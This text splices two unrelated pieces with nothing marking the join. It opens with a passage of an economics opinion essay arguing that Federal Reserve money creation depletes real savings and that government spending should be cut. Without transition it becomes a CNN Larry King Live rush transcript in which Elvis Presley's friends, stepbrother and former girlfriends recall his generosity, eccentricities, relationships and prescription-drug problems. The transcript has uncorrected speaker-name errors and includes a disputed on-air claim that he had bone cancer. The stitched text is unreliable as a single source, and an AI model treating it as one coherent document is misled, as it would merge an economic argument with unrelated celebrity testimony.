Let us now examine the effect of monetary expansion on the pool of real savings. The expanded money supply was never earned, i.e., goods and services do not back it up, so to speak—it was created out of “thin air.” When such money is exchanged for goods it amounts to consumption that is not supported by production.
Consequently, a holder of honest money, i.e., an individual who has produced real wealth that wants to exercise his claim over goods, discovers that he cannot get back all the goods he previously produced and exchanged for money.
He discovers that the purchasing power of his money has fallen. The printing of money undermines wealth generators and thereby weakens the pool of real savings over time. (By being now poorer wealth generators can afford fewer saving than before — their time preferences are likely to increase.)
In a world without central banks and fractional reserve banking the difference between money income and monetary expenditure on consumer goods, i.e., monetary saving will be a true reflection of the state of savings.
This is not going to be so in the world where money is generated out of “thin air.” In this case an increase in the difference between the money income (on account of an increase in money supply) for a given amount of monetary expenditure on consumer goods shouldn’t be regarded as an increase in saving.
In fact such an increase should be regarded as bad news for the process of real wealth formation and the pool of real savings.
Now, the pronouncements of various Fed officials such as Stanley Fischer and the former Fed Chairman Ben Bernanke that a downtrend in the natural interest rate, among other factors, is on account of a strong increase in savings are questionable. We suggest, that this downtrend is not on account of a glut of saving but on account of the Fed’s policy of monetary pumping and tampering with interest rates in order to bring the economy onto an imaginary growth path of price stability.
Note that the Fed has been aggressively lowering its policy interest rate since May 1981. The federal funds rate target was lowered from 19% in May 1981 to 0.5% by June this year. In response to the Fed’s loose monetary stance our monetary measure (AMS) increased by 882% between May 1981 to June 2016.
A possibility that the US economy might have fallen into a situation where loose monetary policy couldn’t “revive” economic activity any longer could be indicative that the pool of real wealth and the pool of real savings are in serious trouble.
A massive monetary explosion since the early 1980s on account of the onset of financial deregulation has likely severely undermined the process of real wealth formation.
So from this perspective it is quite possible that the US economy might be in a phase of prolonged subdued economic growth. Again this is not on account of too much savings but on account of too much monetary pumping.
To revive the economy what is required is not to increase government outlays in order to lift the aggregate demand as suggested by many experts. What is required is to actually drastically reduce government outlays and the Fed’s activities in financial markets. This will provide more scope for the private sector to get on with the business of real wealth generation and to meaningfully revive the economy.
Return to Transcripts main page CNN LARRY KING LIVE Remembering Elvis Presley Aired January 14, 2005 - 21:00 ET THIS IS A RUSH TRANSCRIPT. THIS COPY MAY NOT BE IN ITS FINAL FORM AND MAY BE UPDATED.
LARRY KING, HOST: Tonight, intimate stories of an American legend, Elvis Presley, 70 years after his birth with family, close friends, even long time girl-friend and ex-lover. With us tonight, Elvis' best buddies, the Memphis Mafia, Marty Lacker, who knew Elvis since junior high, was co-best man at his wedding, served as the King's bookkeeper and secretary. Lamar Fike, Elvis' tour manager, so close to Elvis he even tried to go into the Army with him, but couldn't. Jerry Shilling still finds it hard to discuss all the time he spent with Elvis. Also Elvis's stepbrother, David Stanley, at Elvis' Graceland mansion the day he died. Anita Wood who dated Elvis seriously for years in the 50's, even lived for a time at Graceland. And Patty Perry, who knew Elvis for so long, she was the only woman officially, or unofficially in the Memphis Mafia.
Private memories, personal stories of the King himself. The highs and the lows next on LARRY KING LIVE.
It's hard to believe it, but Elvis Presley would have been 70 years old, had he lived. His birthday would have been last week.
So, we have got an outstanding panel, others joining us later, we'll also include your phone calls.
Let's go around first with the Mafia members. Marty Lacker is in Memphis who first met. Where did you meet? Junior high school?
MARTY LACKER, FRIEND OF ELVIS: No. Last year of high school, Larry.
KING: What was he like in high school?
LACKER: Odd. He was sort of loner.
I had -- the thing we had in common, because we weren't that close, I had just moved from New York. And Elvis dressed in very flashy clothes, which was different than the kids back then. Most of the guys back then wore crew cuts and Levis and t-shirts. And Elvis wore flashy clothes, wore his collar up, his hair was a lot longer than the rest of the people. And basically, I dressed the same way, coming from New York. And the kids used to kid us about who was going to outdress who the next day.
KING: Was he singing then?
LACKER: He sang in a couple of talent shows in Memphis. But I mean, at the school. But it really wasn't known back then except for people who were close to him. KING: Patty, how did you meet him?
PATTY PERRY, FRIEND OF ELVIS: Actually, I met Elvis in Los Angeles. I was 17 years old driving down the street on Santa Monica Boulevard in an old clunker Buick. And we saw this black Rolls Royce. I was with a girlfriend, we were going to a fraternity party.
I said, let's go see who is an that Rolls Royce. I said, it's Elvis Presley. I said pretend we don't know who he is.
I pulled up next to him. And he rolled down the window. And I said, gee, you look familiar, do I know you from somewhere? And he knew that we knew who he was.
So he said, pull over.
And from that one minute in time changed your whole life. We just bonded. He asked me up to the house. And he couldn't get rid of me.
KING: Were you like an unofficial mafia member?
PERRY: Well, I was like a little sister. These guys brought me up. Marty and Lamar and Gerry.
KING: You did his hair, right?
PERRY: I did his hair sometimes. Larry Geller (ph) did his hair a lot. But I did his hair for the Aloha special.
KING: You did?
PERRY: Yeah. He looked gorgeous. They couldn't get rid of me.
KING: Lamar Fike was a member -- a close personal friend. You directed all the concert tours, Lamar?
LAMAR FIKE, ELVIS PRESLEY'S TOUR MANAGER: No, not really. I traveled with him, Larry. It was a case of -- I did most of the lights in Vegas. And I'd -- when we went on the road, I'd do some of it. But, you know, we were there mainly to kind of keep everything together. At times we didn't but it was still fun trying.
KING: What was he like to work with?
FIKE: At times, very difficult, but most of the time, he was a lot of fun. You know, you're around somebody like him 24 hours a day, and you have to watch what you're doing because you become a little too familiar and you say things you shouldn't and sometimes you get in arguments. And it was a constant amount of pressure. It never really stopped. It kept you on your toes.
KING: Jerry Schilling, you were a close family friend. Did you call yourself a Memphis group, or are we calling you the Memphis Mafia? JERRY SCHILLING, ELVIS PRESLEY'S CLOSE FRIEND: Well, it came about, Larry, I think years ago, we used to go to Vegas and wear Mo hair suits and carry guns. And the press kind of affectionately started calling us the Memphis Mafia is back in town. And we kind of liked it. We were young guys.
KING: How many people were involved in the Memphis?
SCHILLING: Normally six to seven at one time. Probably over the years, there's been about 12, 13 guys.
KING: Did you hang out together?
SCHILLING: Oh, we lived together, Larry.
KING: Were there hangers on? Did he support you guys?
SCHILLING: Well, you know, it kind of looks that way from the outside. But on inside it was very important -- first of all, he didn't go out and hire people because they were an accountant or a tour manager, he hired people that he trusted and then you worked into the position.
KING: Oh, so you learned on the fly?
SCHILLING: Absolutely.
KING: So, trust was more important to him?
SCHILLING: It was the most important.
PERRY: Larry, we were a family. Elvis was a prisoner of his own fame. We were the ones that always hung out with him. I mean, he couldn't go anywhere, there were like 20 girls outside the gate 24/7. But we were his family. And we had so much fun together. And these guys were his best friends.
KING: Did you like him a lot?
PERRY: I loved him. He was an incredible man. You know he had guys that worked with him who were Italian, he had Jewish guys, he had Christian guys. And always worry a Jewish star and a cross so he didn't want to get shot out of heaven on a technicality. I mean, he was a funny man.
We were his friends. You know, we were it. And all he asked back was our friendship and loyalty.
KING: David, you were his stepbrother. So, he was how old when you met him?
DAVID STANLEY, ELVIS' STEPBROTHER: I was just 5 years old. I moved into the Graceland Mansion in 1960 after my mother, who was divorced, married Elvis' widowed father. So, when I met Elvis Presley, I didn't know what a hound dog was, I didn't know what king was. And it was funny, when I met Elvis, I met most of these guys. I mean, Marty Lacker and Lamar Fike, I mean, you know, this is like a little hoe-down down south with the family. And, you know, I walked in, and I was the little 4-year-old snotty kid who just couldn't comprehend what was going on.
But I did understand one thing, I came from a boarding home and moved into Graceland. And I thought, this is going to be a great ride. And it really was. It was a great ride. It was a lot of good friends and a bonding. We stood up for each other, we took up for each other. And it's so cool to see my buddies and all of us get together and talk about Elvis and celebrate Elvis' birthday.
KING: Was he a good big stepbrother?
STANLEY: Oh, yeah. Are you kidding? I mean, I got a lot of attention being driven to school in a pink Cadillac everyday. I mean, when Elvis is your big brother, he was more like a father figure. He was 20 years older than I was. He taught me everything. He taught me music. He taught me how to be cooling. If there's any cool there, it came from Elvis. He taught me about girls. He taught me about spiritual matters. And all the other individuals involved. It just wasn't Elvis.
You know, we're like those veterans, like World War II or Korean Veterans or Vietnam Veterans, we all experienced this unique thing. And like I said, it's so cool to get together and communicate on the level that we can about somebody we knew and loved so well.
KING: Marty, you must be the same age, right?
LACKER: I was two years younger than him. We both were born in January. And I have got to say this about hangers on. We've been called every name in the book, but we've been called those names by people who have no understanding what that relationship was about.
KING: What was it?
LACKER: It was a close brotherhood. Elvis didn't have one best friend, he had about 9 of them. And those were basically the guys from the early years.
And we grew up together. We were like brothers. The people who make statements like that, I mean, we just smile and laugh, because they have no idea what it was all about.
KING: Were you the last one to sort of join, Patty?
PERRY: No. Actually, I was there before David and Rickie. They were babies when they came to the house. I met Elvis when I was 17. He was 25 years old. He just got out of the Army.
KING: He took you in, too?
PERRY: They couldn't get rid of me.
LACKER: We tried.
PERRY: They tried.
KING: Were you the only girl?
PERRY: Well, I was the only female. I mean, he trusted me. We were good friends, there was no romance there.
KING: Did you want a romance?
PERRY: No, no, no, no.
LACKER: We all took shots.
PERRY: No. They were my brothers. They brought me up, they raised me, you know, they took care of me. They wouldn't let anybody near me, Larry, unfortunately.
KING: Was he difficult, Lamar? Could he be difficult?
FIKE: Yes. That's probably the nicest thing you could think of. When he got hard nosed, you knew he was there. He could make it hard on you. It's just like I said, it's hard to really separate the lines. You're friends and you're an employee and you're all the above. My thing was we just fought all the time. And I always lost. I got fired about 500 times. But it's all part of it.
KING: That's weird to be a friend and yet a worker as well.
We'll be right back with the group, saluting Elvis Presley, who would have been 70 years old.
(COMMERCIAL BREAK)
(BEGIN VIDEO CLIP)
PRISCILLA PRESLEY: Remember, he was with a bunch of guys at the same time. So they're all looking in the audience. And there was certainly a lot of fans out there.
KING: That's another thing about Elvis, he was a guy's guy.
P. PRESLEY: He was a guy's guy.
KING: Well, we know with all the women and everything, but he liked hanging around with the guys.
P. PRESLEY: Yes, he did. And that was difficult for a woman, especially a wife. You know, they were still trying to live a single life, and I was just trying to, you know, have a family life. He wanted the best of both worlds.
(END VIDEO CLIP)
KING: He was extraordinarily correct, Jerry, generous? SCHILLING: Very generous. The home I live in today, he bought me in '74.
KING: Just...
SCHILLING: You know, I think, Larry, this is how sensitive he was. He didn't talk about it. But I think he knew that I lost my mother when I was a year old. We grew up in the same neighborhood, poor part of Memphis. And in 1974, he said, you know, you never had a home, I want to be the one to give it to you. And nobody knew about it. The guys knew about it, but you know, it wasn't for publicity. And I still live there and I'll always live there.
KING: Wow. Patty.
PERRY: People, you know, they talk about birthdays, and what Elvis -- how he celebrated his birthday and Christmas. Elvis didn't celebrate just regular holidays. Elvis would give you gifts off-the- cuff. You know, if he went to the jewelry store, everybody got something. If he got a car, everybody got one. If he got motorcycles, everybody got one. What made him happy was to see the look on your face when he gave you that gift, it wasn't the gift itself.
SCHILLING: There's another thing to this that's really important, is that he also gave you time. You know, you hear about the gifts, you hear about the monetary. But you could have a problem...
KING: He would spend time with you.
SCHILLING: He'd say, do you want to talk about it? He'd come in your room. I mean, he was really a friend friend.
KING: Who helped him with his problems?
SCHILLING: That's the problem.
KING: All right, David, was he generous to you?
STANLEY: He was very generous to me. And I think listening to Jerry talk about the house that he lives in today, you know, my father was swept out of my life when I was a kid. My mother and father divorced in '59. When I moved into Graceland with my two older brothers, I came in with Elvis's new stepmother, Dee, which was my mother, and Elvis was a little reluctant towards my mother, because he had just lost his mother. But he looked over at me and he picked me up and he gave me a hug and he welcomed me into his family. And he took me in and he shared his life with me. He knew that my dad had been swept out of my life, and he did that replacement thing. And Jerry is so right about that. He was so silent about that. He went the extra mile to make you feel special. You know, there is a few people in the world that can pat you on the back and you're good for another 10,000 miles. One of them is a friend of mine, an associate named Bernie Dorman (ph) out of ADI (ph) in Los Angeles that I work with. The other, bar none, was Elvis Presley. When he patted you on the back, you were good for another 10,000 miles, and I'm sure all the guys on the panel will attest to the same thing.
KING: Marty, was he generous with you?
LACKER: Oh, definitely. But I'll tell you something that, because Elvis was a complex and contradictory type of person. I mean, he had many sides to him. Elvis could not really bring himself to say I'm sorry to anybody. If he got mad at them or did something that he knew he shouldn't have done, and he'd get over it in 30 minutes. But...
UNIDENTIFIED MALE: But he'd give you a car instead.
LACKER: Instead of saying I'm sorry, instead of saying I'm sorry, he'd buy you something.
UNIDENTIFIED MALE: A great way to say I'm sorry.
LACKER: And it just -- the only time I ever heard him say I'm sorry, is he said it to me because of an argument, the one and only argument we ever had. And it shocked me when he did it, because he just didn't do that. He'd go buy you something.
KING: Lamar, despite all the arguments, was he generous to you?
FIKE: To say the least. I went through a lot of cars. You know, you -- it was, you know, he got on a motorcycle tear. You know, I had a motorcycle and ran it under a bus. And you know, things like that. And we -- you know, it was like -- it was like a big playground that really got serious at times, but you know what? Somebody asked me the other day, said, would you do it over again, I said, when do we start?
UNIDENTIFIED MALE: Ain't that the truth.
KING: Is it true he would keep movie theaters open all night and take all you guys to see movies?
(CROSSTALK)
SCHILLING: Three movies a night. We'd go at 12:00 o'clock after it closed.
UNIDENTIFIED MALE: And he had no TV then.
(CROSSTALK)
SCHILLING: We would talk out loud. It was interesting, Larry, because I think about now, and how you sat in the movie theater with Elvis was the relationship at the time. Is that right, guys?
(CROSSTALK)
SCHILLING: It was never spoken, but it just kind of worked that way.
PERRY: He had a row and then everybody else sat behind. SCHILLING: Elvis studied those movies. I used to wonder, why are we watching this for three times, you know, and then he would see some little eclectic thing that he picked up from that movie in his next movie.
KING: What were you going to say, who was talking, I'm sorry?
LACKER: That was me.
KING: Go ahead.
LACKER: One of the things about him, is he'd hardly ever watch one of his movies.
FIKE: We never watched it.
LACKER: Well, he did a couple of times, but only about two or three that I knew of over 20 years. He just -- he didn't like to see himself on the screen.
KING: We'll ask in a minute what you each think might have been his strangest habit. Quick Elvis Presley story. I never met Elvis, but met Colonel Parker. Elvis Presley worked in Miami Beach once, at the Miami Beach Convention Center. He flew into Miami International Airport, a helicopter brought him over to Miami Beach at the helipad. A limo picked him up at the helipad and drove him 10 blocks to the convention center, where he performed. He got back in the limo to go back to the helicopter. When he got back to the helicopter, he said to the limo driver, "do you own this limo or do you work for the company?" And he said, "I work for the company." And he said, "you now own it." The limo driver's tip was the limo. We'll be right back.
(MUSIC)
(COMMERCIAL BREAK)
(BEGIN VIDEO CLIP)
KING: Were you very close to your father?
LISA-MARIE PRESLEY: Yes.
KING: It was a daddy-daughter kind of thing?
L.-M. PRESLEY: Yeah, very much.
KING: What was he like as a father?
L.-M. PRESLEY: Very adoring, very sweet. Very -- I mean, I knew that he was crazy about me.
KING: Did you know what he was to the world at 9?
L.-M. PRESLEY: Yeah. You know, in some weird way I definitely got sort of grooved into the whole idea early on. So I don't know how that happened. It just kind of -- it just was -- that was my life. I didn't know any different.
(END VIDEO CLIP)
KING: Joining us now is Anita Wood. She's in Jackson, Mississippi. She dated Elvis for several years from 1957 to 1962. In fact, it was Lamar Fike, one of our other guests, who arranged that, is that right, Anita, for you to meet him?
ANITA WOOD, DATED ELVIS PRESLEY: Yes. Lamar called me, he did, for Elvis.
KING: And what did he say?
WOOD: Well, I was working with (UNINTELLIGIBLE) on a teenage show there in Memphis. And when the show was over, Lamar called and said, Elvis would like to meet you tonight. Well, I had a date, and so I wouldn't break it. And Lamar went ballistic. I will never forget that, Lamar. You won't go with Elvis Presley? Break your date. But I couldn't do that. So I didn't go. And I didn't think I would ever hear from him again, but I did.
KING: What was the first date like?
WOOD: Well, it was a little unusual. There was Lamar and George and Allen Fortess (ph) and Cliff Glaves (ph), and Louis (ph), and they were all in the car. And George Klein (ph). And George came to the door and the lady I lived with at the time made Elvis come to the door and pick me up. We were a Southern family. You know, so he came to the door to pick me up. We went out in the limousine. And Elvis was driving.
And we drove around Memphis a lot, we stopped by a hamburger place, and sent Lamar in for I don't know how many dozens of hamburgers, Lamar, lots of them, and they ate every one of them.
And then we went to Graceland. He had just bought Graceland, and he wanted to show me Graceland, and we went out there.
KING: Did he try to lure you the first night?
FIKE: Lure!
(CROSSTALK)
KING: Did he make a move?
WOOD: He tried. He wanted me to go upstairs and see his bedroom and his big magnificent bed, which I did. And we walked in the bedroom. And it was a huge bed, I mean, the biggest bed I've ever seen, bar none, even now. A huge bed. And then he tried to make a little move on me. And I said, no, really, I have to go home now. So he took me home. And that was the first date we had. He was a gentleman about it. He took me home.
KING: What was it like to be in love with? I imagine you were in love with him? WOOD: I was. He was my first love. I met him when I was 19 years old, and I came from a very conservative family and I'd never gone steady or anything. So of course when I met Elvis, I did fall in love with him, and he did with me. We had a wonderful time, great fun together. I loved the guys. And it was just a great, like a family. You know, and I remember when David and Ricky and his brother, Billy, came there. I was there, and I remember all about that. You all were just so little back then.
KING: Now, Patty, were you bugged that he had a girlfriend?
PERRY: No, not at all. Those guys were my brothers, you know, we didn't have any kind of a relationship.
KING: So you got along with Anita?
PERRY: Yeah. In fact, you know, any girl that ever came to the house, Elvis would have to explain, Patty's part of the family. Patty is part of the family. They never had a problem with me.
LACKER: Larry, I got to tell you that Elvis' mother wanted Elvis to marry Anita.
WOOD: Oh!
UNIDENTIFIED MALE: That's so nice.
WOOD: That was nice.
KING: Why didn't it happen, Anita?
(CROSSTALK)
KING: Why didn't it happen?
WOOD: Well...
FISK: The Atlantic Ocean.
WOOD: He went...
FISK: It's called the Atlantic Ocean.
WOOD: Right.
KING: Oh, he went to Germany.
WOOD: He went to Germany, and while he was there, of course he met Priscilla, who was a beautiful, beautiful (UNINTELLIGIBLE) and was a pretty young girl at 14. But when he came back, we still continued to date. And of course, you know, Elvis could make you believe anything in the world, so he had me believing that she was just a friend and her daddy was in the Army with him, and there was nothing to it whatsoever.
KING: I'm amazed at something. Lamar, you handle this first, then we'll go around.
FISK: What's that?
KING: Elvis cheated on every woman he was with. Both of the women we interviewed who were with him talked disgusted, he had one woman in one hotel and another one next door. And they all loved him and they all understood. So, Lamar, you explain that to me.
FISK: Larry, it's called the lure!
KING: It didn't bother people.
FISK: Look, can I tell you something? There was a lot to go around. You know, he wanted to keep everybody happy. But it was the lure, Larry.
KING: It was the lure. He obviously did.
We'll take a break, we'll come back, and the panel will be completed by Kathy Westmoreland, who also dated -- Kathy Westmoreland -- who also dated and fell in love with Elvis, even wrote a book about it called "Elvis and Kathy." And she's got -- we're going to talk about Elvis' passing away as well, and again I'll get back to strange things about Elvis. We'll reintroduce the panel when I get back. Don't go away.
(MUSIC)
(COMMERCIAL BREAK)
KING: Cousin Elvis would have been 70 years old. Our panel. In Memphis, Tennessee, Marty Lacker, Memphis Mafia member, best man at Elvis' wedding, first met him in high school. Lamar Fike, another member of the Memphis Mafia, close personal friend of Elvis, directed all of Presley's concert tours, did the lighting, he was the man. In L.A., Jerry Schilling, Memphis Mafia member with Elvis through the King's during happy times and at the sad as well. In Dallas, David Stanley, Elvis Presley's stepbrother. Here in Los Angeles is Patty Perry, honorary member of the Memphis Mafia, the only female who knew the King for 17 years and was one of her best friends. Anita Wood has joined us from Jackson, Mississippi. She dated Elvis for several years, stayed at the Graceland for a time. And now joining us in Los Angeles, Kathy Westmoreland. Kathy dated and fell in love with Elvis, wrote a book about their relationship called "Elvis and Kathy." Why did you break up?
KATHY WESTMORELAND, SAYS SHE SLEPT WITH ELVIS PRESLEY: I didn't have too much of a say in it.
UNIDENTIFIED MALE: Kathy, give us a B flat.
WESTMORELAND: A B flat! Someone asked me to give them a B flat. I dated him for about six months on a regular basis. Then it became obvious to me that there were other women. It just -- you know how that is.
KING: What was he like as a date?
WESTMORELAND: He was fabulous. Oh, it was fun. He was very thoughtful. Almost motherly.
KING: He didn't sleep, right?
WESTMORELAND: No. He suffered from insomnia. He was very much -- I think a lot of geniuses are like that, just can't turn it off is what he would say.
KING: Miss him?
WESTMORELAND: I miss him terribly.
UNIDENTIFIED MALE: I have that problem, too.
KING: Let's go around and discuss eccentricities. What, Jerry, was different about -- what was weird about Elvis? All great men have eccentricities.
JERRY: I met Elvis when I was 12 years old, he was 19. It was before he even had a hit record in Memphis. There was five older guys -- this is how unpopular he was -- trying to get off a football game. So they let the kid in grade school, they let me play. I remember walking to the huddle. I was really into James Dean and Brando, I walked into the huddle. He looked so -- he was them and everything else. It was just the look. It was like he was a rebel but he had a lovable smile. He was like a lovable rebel.
KING: What, Patty, to you was eccentricity?
PERRY: Everything about Elvis was an eccentricity.
KING: Give me an example.
PERRY: He was a baby boy, he talked baby talk, loved his mommy.
PERRY: To women. The women saw a different perspective of Elvis than the guys.
KING: Like goo goo goo?
(CROSSTALK)
UNIDENTIFIED MALE: Good try, Larry.
PERRY: He was nocturnal. We were like vampires, stay up all night and sleep all day.
KING: Marty, what was weird for want of a better term.
MARTY LACKER, ELVIS PRESLEY'S SECRETARY: I'll tell you something that was weird about him. If he watched a football game on TV, he wore a helmet.
UNIDENTIFIED MALE: He dressed for every occasion. UNIDENTIFIED MALE: He'd get on the airplane with a helmet.
LACKER: If he watched the guys on TV riding motorcycles, he would have his motorcycle helmet on. You'd walk in and it looked funny. I mean, you walk in, Larry, he's sitting with a football helmet on. You say, good lord, Elvis, what are you doing? I'm watching the game.
KING: Lamar, would he have been a good guest on this show?
LAMAR FIKE, ELVIS PRESLEY'S TOUR MANAGER & LONGTIME CLOSE FRIEND: He'd have been hilarious. If he had had the group around, that's when it really got funny. He needed that sort of support. When he had it, it was every man for himself.
KING: What, Lamar to you, was eccentric?
FIKE: I think the most eccentric thing about Elvis is the way he treated people. He treated everybody equal. There was no up or down with him. It was essentially, you know, like, I think like God loves a buzzard as much as an eagle and I think it was a case Elvis treated everybody like that. I'm almost positive that was it. If it's an eccentricity, I don't know.
UNIDENTIFIED MALE: That was a great lesson for us. If Elvis Presley can treat a guy that sweeps the streets the same way he treated a corporate CEO and was nice to him, so could we.
FIKE: Absolutely.
KING: David, what to you do was different?
DAVID STANLEY, ELVIS PRESLEY'S STEP-BROTHER: I think the interesting thing about Elvis, being around him all the years I was, and I think all the guys can relate to this was watching Elvis be Elvis.
KING: What do you mean?
STANLEY: When people talk about him and how big he is, here we are on his 70th birthday, all these years after he passed way, he was such a magnet, people were just drawn to him. He had a hard time being that. I mean, he was being Elvis Presley. I think in the end that's what caught up with him. How do you become a person that everybody loves? How do you become a person everybody adores and follows and wants to be around and wants that pat on the back. Watching him being Elvis, cool Elvis, up Elvis, down Elvis, sad Elvis, the great entertainer he was, watching him do that and towards the end, watching him go through that. Many times he would sit down by himself and say why me? Why I do have these phenomenal gifts? He always wanted to share it but he always had that problem of why has this been bestowed on me. I think Marty brought up a great point. Elvis loved to love people but it was difficult for letting people love him or us love him. He would just go inside himself and try to figure out who we was. PIKE: Let me tell you a real funny story, Larry. This is a fact. Among the group, we would have parties. After a while, when Elvis would come, all the attention would go to him so we wouldn't invite him. Really! One night he came in and said, let me ask you a question, why don't you invite me to these parties? I said, are you crazy, nobody's got a chance with you there. He really got upset about it. He said, well I'll just fire all of you. I said, then from now on you can come to every party.
UNIDENTIFIED MALE: With all that being said, Elvis loved being Elvis Presley. When Elvis went out, he wanted to be recognized. He wanted people there. Stars today, it's a little different. Elvis worked very hard to...
KING: He also was extremely liberal in the ghetto, amazingly progressive black-white songs.
UNIDENTIFIED MALE: That's one of the most important things that history has -- some people in history, Elvis was the most unprejudiced human being I ever knew.
KING: I heard. Color-blind, right?
UNIDENTIFIED MALE: Totally.
KING: What was strange to you, Anita, about him?
ANITA WOOD, DATED ELVIS PRESLEY FOR YEARS: Patty mentioned a little bit, the baby talk. My nickname was "little" because I was real small at the time and he called me "little." I had real small feet. He loved my feet. I don't know what it was but he liked small feet.
UNIDENTIFIED MALE: Well, we won't carry that any further.
KING: Hold it. Patty.
PERRY: There were like two Elvis Presleys. When Elvis was at home he was Elvis Presley. But when on stage, that was a different Elvis Presley. That's what he loved to do. Talking about he liked people to notice him. We'd drive down Sunset Boulevard at rush hour and he'd drive the car just to see the look on people's face when they would see him driving.
KING: He'd drive?
PERRY: Yes. He'd drive, yes.
UNIDENTIFIED FEMALE: In the limo if he wasn't driving he would stand up in the moon view and wave at everybody and talk to people.
UNIDENTIFIED MALE: He was a character.
KING: Did all of you know about the drug problem?
UNIDENTIFIED MALE: Yes. UNIDENTIFIED MALE: Sure. How can you avoid it?
KING: Did anyone try to help him?
UNIDENTIFIED MALE: Over the years, of course. You know, it's real hard to help somebody who wants to be the helped.
KING: Did you see it coming?
UNIDENTIFIED MALE: Yes and no. When you live it on a day-to-day basis, it's harder to see. Also, it wasn't -- it was prescription, it was given by doctors. Elvis wasn't a street drug guy.
UNIDENTIFIED MALE: There were no Betty Ford clinics in those days. No one realized how dangerous prescription drugs were.
KING: Why did he let himself go so much, though, the weight?
UNIDENTIFIED MALE: It's not a case of letting yourself go. What happens is you're so engulfed in all this style, you know, you do it and it becomes all of a sudden, you are there, you're heavy, you know. You're miserable and not happy.
FIKE: Think that goes back to what I was saying a minute ago, Larry. Watching Elvis be Elvis. Many times in Elvis' life, he felt he didn't deserve the money and fortune and fame he got. Sometimes as a result of that he went into that self-destructive spirit. The prescribed medication is what it was absolutely. But that medication eventually caught up with him.
STANLEY: It scared us all to death.
KING: Marty, did you ever say to him, Elvis, you're gaining a lot of weight, you're losing control.
LACKER: Let me be honest with you. I was almost as bad as he was, as far as the pills.
UNIDENTIFIED MALE: It's the lure.
LACKER: And the fact of the matter is, is that you know, you mentioned the weight. The weight really came just in the last year. And that had more to do...
UNIDENTIFIED MALE: That's right.
LACKER: ... with his body, illnesses, than anything else. Of course the pills contributed to it.
KING: He got sick a lot?
(CROSSTALK)
KING: Hold on, guys. I got seven guests.
UNIDENTIFIED MALE: He had to take cortisone shots. UNIDENTIFIED MALE: This is the fun part.
(CROSSTALK)
SCHILLING: But, Larry, I think you have to go to the cause, not just the effect. And Elvis Presley was a real genius. He was the most underrated producer in music history. He really wanted to do films. I sit in a walk-in closet with Joe Esposito, Elvis Presley, Barbra Streisand and John Peters for three hours when she told him about that film, and he wanted to do that film.
KING: "Star Is Born"?
SCHILLING: "Star Is Born." He accepted to do that film.
KING: No kidding?
SCHILLING: Oh, absolutely. And they take -- they take those things away.
KING: What happened? Why didn't he do it?
SCHILLING: Well, you know, if it doesn't coming through, management, there's...
KING: Did he work on the production of his own records?
(CROSSTALK)
UNIDENTIFIED MALE: Sam Phillips originally produced them, and he was a great...
KING: What killed him doing "A Star Is Born"?
FISK: Colonel Parker killed that deal.
KING: Let me get a break. We'll be back with more. We'll try to include some phone calls. A lot of phones coming in. Elvis would have been 70. Don't go away.
(MUSIC)
(COMMERCIAL BREAK)
(BEGIN VIDEO CLIP)
UNIDENTIFIED MALE: Elvis Presley no longer has that rock'n roll beat. The tempo is one, two, three, four, or Private Presley. He's at Camp Chafee (ph), Arkansas, beginning his two-year Army hitch courtesy of the Memphis Draft Board. Like any ex-civilian raw recruit, the king of rock'n'roll will be keeping time to non-hip bugle calls. Involuntarily retired, the gyrating guitarist's departure from the public eye left his blue-jean fans all shook up, so we hear. But Elvis doesn't seem to mind at all.
(END VIDEO CLIP) KING: We're back. This is like old home week, Marty Lacker knows my father-in-law, Carl Anchorman (ph), worked with him on producing records. Kathy Westmoreland knows my mother-in-law, Gerri, worked with her, right?
WESTMORELAND: Wonderful person.
KING: You have thoughts about Elvis' passing?
WESTMORELAND: Yes, I do, well, because of what he told me and what doctors who saw him while I was with him told me...
KING: Which is?
WESTMORELAND: Which is -- when I first met him, he told me that he knew exactly how much time he had, that he thought he was going to die at the age of 42, close to the age of his mother, her -- it was in her family, her father, grandfather, her whole family is not -- they were born with a heart that was twice the size on one side as it was on the other, and he also told me that he had bone cancer.
LACKER: He didn't have bone cancer.
WESTMORELAND: And he...
UNIDENTIFIED MALE: He didn't have bone cancer.
KING: He didn't?
LACKER: No, he didn't have bone cancer. Let me tell you where that came from. After Elvis died, there was a lot of stuff being leaked out of Graceland. And Elvis' father asked Billy Smith to tell a couple of the guys that Elvis had cancer to see if it came out. And that's what happened. And I believe that's where Kathy...
KING: But she said Elvis told her he had it.
WESTMORELAND: He told me when I first met him.
LACKER: Elvis had a good imagination, Kathy.
FISK: Kathy, once again, it's called the lure.
KING: You're overdoing it now, Lamar.
FISK: No, no, I'm not.
KING: By the way, tomorrow night we're going to repeat the Kevin Spacey interview on Bobby Darin, and Jerry told me that Elvis was a big fan of Bobby's?
SCHILLING: Elvis was a huge fan of Bobby's. In fact, when Bobby changed his style there, Larry, as you remember...
KING: Became a folk singer. SCHILLING: Elvis met with Bobby, and said, Bobby, that's not you, man. Man, I want to hear "Mack the Knife" when I see you. I want to see you on stage. And Bobby went back. I don't know if it was right after that, but it was amazing.
KING: Let's take some calls for this great panel. Lewisburg, Ohio, hello.
CALLER: Hi, how are you, Larry?
KING: Hi. Fine.
CALLER: My question is, do you think Colonel Tom Parker had Elvis' father buffaloed, and if so, who do you think Elvis' father would have rather had manage his son?
SCHILLING: Well, I don't think there's anybody that can manage Elvis, when you really look at it, outside the colonel. The colonel did a great job, you know. And you know, maybe there was a few creative things, but he really -- these guys loved each other, actually. And Elvis had respect. I mean, Elvis would have eaten anybody else up. He had...
KING: Was the colonel honest?
SCHILLING: I think so.
KING: Did you like him, Marty?
LACKER: No. No, I...
KING: Anita, did you like -- did you know him?
WOOD: I did not like him, no.
KING: So far, we're two to one.
WOOD: He was the one that stopped me from going to Germany.
(CROSSTALK)
WESTMORELAND: The colonel had -- that was his thing. He loved...
KING: He had a hold on him?
WESTMORELAND: Yes, he loved to try to buffalo people. That was the way he operated. But underneath it, he was a really sweet...
(CROSSTALK)
KING: David, did you like him?
STANLEY: I liked Colonel Parker, and I think he did a phenomenal job. But I have to quote my brother, Ricky, who unfortunately missed out tonight. The great quote is this: "If Colonel Parker made Elvis Presley, then why didn't he make another one?"
KING: Lamar, did you like him?
FISK: Off and on. You know, off and on. I can't -- I am being totally honest, sometimes I did, sometimes I didn't.
LACKER: I think we all felt that way.
KING: Patty, did you like him?
PERRY: Well, you know, actually, the colonel didn't really hang out with us personally a lot in Los Angeles. I met him a few times. But as far as I'm concerned, Elvis trusted him and that was his manager and I have nothing to...
(CROSSTALK)
KING: The colonel didn't hang around with the group, did he?
PERRY: He didn't hang out at the house, no, not personally.
KING: OK. To Cleveland, Tennessee, hello. Hello, Cleveland?
CALLER: Oh, yes. Hi, Larry.
